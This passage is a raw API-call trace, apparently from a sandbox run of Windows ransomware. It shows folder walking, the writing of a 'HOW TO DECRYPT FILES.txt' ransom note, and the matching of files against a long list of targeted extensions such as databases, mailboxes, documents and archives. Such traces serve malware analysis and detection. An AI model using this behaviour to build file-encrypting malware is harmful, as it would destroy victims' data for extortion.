nFileSizeLow=0xb800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFontCache.ni.exe", cAlternateFileName="PRESEN~1.EXE")) returned 0 [0104.293] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.293] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71a31645, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x71a31645, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x71a31645, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b3ade8d5c0d4bb5d4940bcafd3453642", cAlternateFileName="B3ADE8~1")) returned 0 [0104.294] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.294] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bc79ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x19e3300a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x19e3300a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="PresentationFramewo#", cAlternateFileName="PRESEN~3")) returned 1 [0104.294] lstrcmpA (lpString1=".", lpString2="PresentationFramewo#") returned -1 [0104.294] lstrcmpA (lpString1="..", lpString2="PresentationFramewo#") returned -1 [0104.294] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.294] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="PresentationFramewo#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#" [0104.294] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bc79ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x19e3300a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x19e3300a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.302] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.302] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bc79ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x19e3300a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x19e3300a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.302] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.302] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.302] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19970401, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x19970401, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x19970401, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0e5bae8f265fbbbf53e8ca79d159cd6d", cAlternateFileName="0E5BAE~1")) returned 1 [0104.302] lstrcmpA (lpString1=".", lpString2="0e5bae8f265fbbbf53e8ca79d159cd6d") returned -1 [0104.302] lstrcmpA (lpString1="..", lpString2="0e5bae8f265fbbbf53e8ca79d159cd6d") returned -1 [0104.302] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\*.*") returned="*.*" [0104.302] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\", lpString2="0e5bae8f265fbbbf53e8ca79d159cd6d" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d" [0104.302] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19970401, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x19970401, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x19970401, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.303] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.303] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19970401, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x19970401, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x19970401, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.303] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.303] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.303] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198fdfe0, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x198fdfe0, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x19924140, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x83c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Luna.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1 [0104.303] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.303] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFramework.Luna.ni.dll") returned -1 [0104.303] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFramework.Luna.ni.dll") returned -1 [0104.303] lstrcmpiA (lpString1="", lpString2="PresentationFramework.Luna.ni.dll") returned -1 [0104.303] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\*.*") returned="*.*" [0104.303] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\" [0104.303] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\") returned="" [0104.303] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\HOW TO DECRYPT FILES.txt" [0104.303] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationframewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\how to decrypt files.txt")) returned 0xffffffff [0104.303] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationframewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.304] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.306] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.306] CloseHandle (hObject=0x90) returned 1 [0104.306] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\", lpString2="PresentationFramework.Luna.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll" [0104.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.ems") returned 0 [0104.306] lstrlenA (lpString="*.ems") returned 5 [0104.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.db") returned 0 [0104.306] lstrlenA (lpString="*.db") returned 4 [0104.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.dbf") returned 0 [0104.306] lstrlenA (lpString="*.dbf") returned 5 [0104.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.myox") returned 0 [0104.306] lstrlenA (lpString="*.myox") returned 6 [0104.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.myo") returned 0 [0104.307] lstrlenA (lpString="*.myo") returned 5 [0104.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.qbw") returned 0 [0104.307] lstrlenA (lpString="*.qbw") returned 5 [0104.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.qbb") returned 0 [0104.307] lstrlenA (lpString="*.qbb") returned 5 [0104.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.qbm") returned 0 [0104.307] lstrlenA (lpString="*.qbm") returned 5 [0104.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.qbo") returned 0 [0104.307] lstrlenA (lpString="*.qbo") returned 5 [0104.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.qbx") returned 0 [0104.307] lstrlenA (lpString="*.qbx") returned 5 [0104.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.qba") returned 0 [0104.307] lstrlenA (lpString="*.qba") returned 5 [0104.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.qby") returned 0 [0104.307] lstrlenA (lpString="*.qby") returned 5 [0104.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.qbj") returned 0 [0104.307] lstrlenA (lpString="*.qbj") returned 5 [0104.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.ofx") returned 0 [0104.307] lstrlenA (lpString="*.ofx") returned 5 [0104.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.qif") returned 0 [0104.307] lstrlenA (lpString="*.qif") returned 5 [0104.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.mye") returned 0 [0104.307] lstrlenA (lpString="*.mye") returned 5 [0104.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.mbox") returned 0 [0104.307] lstrlenA (lpString="*.mbox") returned 6 [0104.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.eml") returned 0 [0104.308] lstrlenA (lpString="*.eml") returned 5 [0104.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.pst") returned 0 [0104.308] lstrlenA (lpString="*.pst") returned 5 [0104.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.ost") returned 0 [0104.308] lstrlenA (lpString="*.ost") returned 5 [0104.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.idx") returned 0 [0104.308] lstrlenA (lpString="*.idx") returned 5 [0104.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.dbx") returned 0 [0104.308] lstrlenA (lpString="*.dbx") returned 5 [0104.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.sql") returned 0 [0104.308] lstrlenA (lpString="*.sql") returned 5 [0104.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.mdb") returned 0 [0104.308] lstrlenA (lpString="*.mdb") returned 5 [0104.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.fdb") returned 0 [0104.308] lstrlenA (lpString="*.fdb") returned 5 [0104.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.wab") returned 0 [0104.308] lstrlenA (lpString="*.wab") returned 5 [0104.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.dat") returned 0 [0104.308] lstrlenA (lpString="*.dat") returned 5 [0104.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.txt") returned 0 [0104.308] lstrlenA (lpString="*.txt") returned 5 [0104.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.jpeg") returned 0 [0104.309] lstrlenA (lpString="*.jpeg") returned 6 [0104.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.jpg") returned 0 [0104.309] lstrlenA (lpString="*.jpg") returned 5 [0104.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.png") returned 0 [0104.309] lstrlenA (lpString="*.png") returned 5 [0104.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.php") returned 0 [0104.309] lstrlenA (lpString="*.php") returned 5 [0104.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.cs") returned 0 [0104.309] lstrlenA (lpString="*.cs") returned 4 [0104.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.cpp") returned 0 [0104.309] lstrlenA (lpString="*.cpp") returned 5 [0104.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.rar") returned 0 [0104.309] lstrlenA (lpString="*.rar") returned 5 [0104.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.zip") returned 0 [0104.309] lstrlenA (lpString="*.zip") returned 5 [0104.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.html") returned 0 [0104.309] lstrlenA (lpString="*.html") returned 6 [0104.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.htm") returned 0 [0104.309] lstrlenA (lpString="*.htm") returned 5 [0104.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.xlsx") returned 0 [0104.310] lstrlenA (lpString="*.xlsx") returned 6 [0104.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.xls") returned 0 [0104.310] lstrlenA (lpString="*.xls") returned 5 [0104.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.mp4") returned 0 [0104.310] lstrlenA (lpString="*.mp4") returned 5 [0104.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.ppt") returned 0 [0104.310] lstrlenA (lpString="*.ppt") returned 5 [0104.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.pptx") returned 0 [0104.310] lstrlenA (lpString="*.pptx") returned 6 [0104.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.doc") returned 0 [0104.310] lstrlenA (lpString="*.doc") returned 5 [0104.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.dot") returned 0 [0104.310] lstrlenA (lpString="*.dot") returned 5 [0104.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.docx") returned 0 [0104.310] lstrlenA (lpString="*.docx") returned 6 [0104.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.7z") returned 0 [0104.310] lstrlenA (lpString="*.7z") returned 4 [0104.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.tar") returned 0 [0104.310] lstrlenA (lpString="*.tar") returned 5 [0104.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.bz2") returned 0 [0104.311] lstrlenA (lpString="*.bz2") returned 5 [0104.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.gz") returned 0 [0104.311] lstrlenA (lpString="*.gz") returned 4 [0104.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.mkv") returned 0 [0104.311] lstrlenA (lpString="*.mkv") returned 5 [0104.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.eml") returned 0 [0104.311] lstrlenA (lpString="*.eml") returned 5 [0104.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.msg") returned 0 [0104.311] lstrlenA (lpString="*.msg") returned 5 [0104.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.edb") returned 0 [0104.311] lstrlenA (lpString="*.edb") returned 5 [0104.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.accdb") returned 0 [0104.311] lstrlenA (lpString="*.accdb") returned 7 [0104.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.odb") returned 0 [0104.311] lstrlenA (lpString="*.odb") returned 5 [0104.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.java") returned 0 [0104.311] lstrlenA (lpString="*.java") returned 6 [0104.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.asm") returned 0 [0104.312] lstrlenA (lpString="*.asm") returned 5 [0104.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.pfx") returned 0 [0104.312] lstrlenA (lpString="*.pfx") returned 5 [0104.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", 